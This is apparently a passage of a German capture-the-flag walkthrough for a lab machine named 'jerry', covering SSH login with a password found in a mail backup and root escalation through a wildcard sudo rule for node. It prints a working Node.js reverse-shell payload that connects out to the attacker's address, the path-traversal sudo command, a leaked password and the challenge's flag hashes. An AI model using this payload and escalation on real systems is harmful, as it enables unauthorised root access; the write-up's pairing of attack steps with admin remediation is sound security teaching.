Analyse: Die heruntergeladene ZIP-Datei wird entpackt. Sie enthält Mailbox-Dateien für `elaine` und `jerry`. Die Mailbox von `elaine` enthält eine E-Mail von `jerry`, in der das Passwort `imelainenotsusie` erwähnt wird (Kontext "gym", aber möglicherweise auch ihr Systempasswort).

Bewertung: Kritischer Fund! Ein Passwort im Klartext wurde in einer E-Mail gefunden.

Empfehlung (Pentester): Versuchen Sie, sich mit dem Benutzernamen `elaine` und dem Passwort `imelainenotsusie` per SSH anzumelden.
Empfehlung (Admin): Niemals Passwörter im Klartext per E-Mail versenden! Sensibilisieren Sie Benutzer für Passwortsicherheit. Mail-Backups sicher speichern.

┌──(root㉿CCat)-[/home/…/Downloads/backs/var/mail] └─# ssh elaine@192.168.2.122
elaine@192.168.2.122's password: imelainenotsusie <-- Passwort eingegeben
Linux jerry 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
[...]
Last login: Sat Mar  9 08:03:36 2024 from 192.168.1.44
elaine@jerry:~$
<-- Login erfolgreich!

Analyse: Erfolgreicher SSH-Login als Benutzer `elaine` mit dem in der E-Mail gefundenen Passwort.

Bewertung: Horizontale Rechteausweitung zu `elaine` gelungen.

Empfehlung (Pentester): Führen Sie `sudo -l` und weitere Enumeration als `elaine` durch.
Empfehlung (Admin): Passwort ändern, Mail löschen.

Privilege Escalation (elaine -> root)

elaine@jerry:~$ sudo -l
Matching Defaults entries for elaine on jerry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User elaine may run the following commands on jerry:
    (ALL) NOPASSWD: /usr/bin/node /opt/scripts/*.js

Analyse: `sudo -l` für `elaine` zeigt, dass dieser Benutzer `node` zum Ausführen beliebiger JavaScript-Dateien im Verzeichnis `/opt/scripts/` als jeder Benutzer (`ALL`, also auch `root`) ohne Passwort (`NOPASSWD`) verwenden darf.

Bewertung: Kritische Fehlkonfiguration! Der Wildcard (`*`) in der `sudo`-Regel erlaubt die Ausführung jedes Skripts in `/opt/scripts`. Noch kritischer ist, dass Node.js selbst zur Ausführung von Shell-Befehlen missbraucht werden kann. Der Pfad `/opt/scripts/*.js` kann jedoch wahrscheinlich durch Path Traversal umgangen werden, um ein beliebiges Skript an einem anderen Ort auszuführen.

Empfehlung (Pentester): 1. Erstellen Sie eine Node.js-Payload, die eine Reverse Shell startet (Beispiel im Log gefunden). 2. Speichern Sie die Payload in einem beschreibbaren Verzeichnis (z.B. `/tmp/shell.js`). 3. Nutzen Sie Path Traversal in der `sudo`-Regel, um Ihr Skript auszuführen: `sudo /usr/bin/node /opt/scripts/dummy.js../../../../../../tmp/shell.js` (wobei `dummy.js` nicht existieren muss).
Empfehlung (Admin): Entfernen Sie diese extrem unsichere `sudo`-Regel! Verwenden Sie niemals Wildcards in `sudo`-Pfaden. Erlauben Sie niemals die Ausführung von Interpretern (node, python, perl, bash etc.) über `sudo` ohne triftigen Grund und strenge Kontrollen.

Proof of Concept (Root Exploit)

Analyse: Der folgende Abschnitt demonstriert die Ausnutzung der `sudo`-Regel für Node.js mit Path Traversal.

  1. Eine Node.js-Reverse-Shell-Payload wird in `/tmp/shell.js` erstellt.
  2. Ein Netcat-Listener wird auf dem Angreifer-System gestartet.
  3. Der `sudo`-Befehl wird mit Path Traversal aufgerufen, um das Skript aus `/tmp` anstelle von `/opt/scripts` auszuführen: `sudo /usr/bin/node /opt/scripts/*.js../../../../../../tmp/shell.js`. Der `*` wird vom Shell-Globbing wahrscheinlich zu einem existierenden (oder nicht existierenden) Dateinamen in `/opt/scripts` expandiert, was aber für das Traversal irrelevant ist.
  4. Der Node.js-Code in `shell.js` wird als `root` ausgeführt und verbindet sich zum Listener des Angreifers.

Bewertung: Erfolgreiche Ausnutzung der `sudo`-Fehlkonfiguration mittels Path Traversal führt zur Erlangung einer Root-Shell.

Empfehlung (Pentester): Root-Zugriff erlangt. Flags suchen.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.

elaine@jerry:~$ nano /tmp/shell.js
<-- Payload wird eingefügt
elaine@jerry:~$ cat /tmp/shell.js

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(5555, "192.168.2.199", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
elaine@jerry:/tmp$ sudo /usr/bin/node /opt/scripts/*.js../../../../../../tmp/shell.js
┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 39172
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Listener empfängt die Verbindung. Der `id`-Befehl bestätigt Root-Rechte.

Bewertung: Privilege Escalation zu Root erfolgreich.

# cd ~
# ls
root.txt
# cat root.txt
\ \      / /_ _| |_ ___| |__   / ___|  ___(_)_ __  / _| ___| | __| |
 \ \ /\ / / _` | __/ __| '_ \  \___ \ / _ \ | '_ \| |_ / _ \ |/ _` |
  \ V  V / (_| | || (__| | | |  ___) |  __/ | | | |  _|  __/ | (_| |
   \_/\_/ \__,_|\__\___|_| |_| |____/ \___|_|_| |_|_|  \___|_|\__,_|

			I hope you liked my machine!
     			     By J4ckie0x17

4948a57231e2aed713664e3ed2659f99
# cd /home
# ls
elaine
jerry
kramer
# cd elaine
# ls
user.txt
# cat user.txt
676ced18c8f480a80ddb4351d66d5f28

Analyse: Die Root-Flag wird aus `/root/root.txt` gelesen. Die User-Flag wird aus `/home/elaine/user.txt` gelesen.

Bewertung: Beide Flags erfolgreich gefunden.

Flags

cat /home/elaine/user.txt
676ced18c8f480a80ddb4351d66d5f28
cat /root/root.txt
4948a57231e2aed713664e3ed2659f99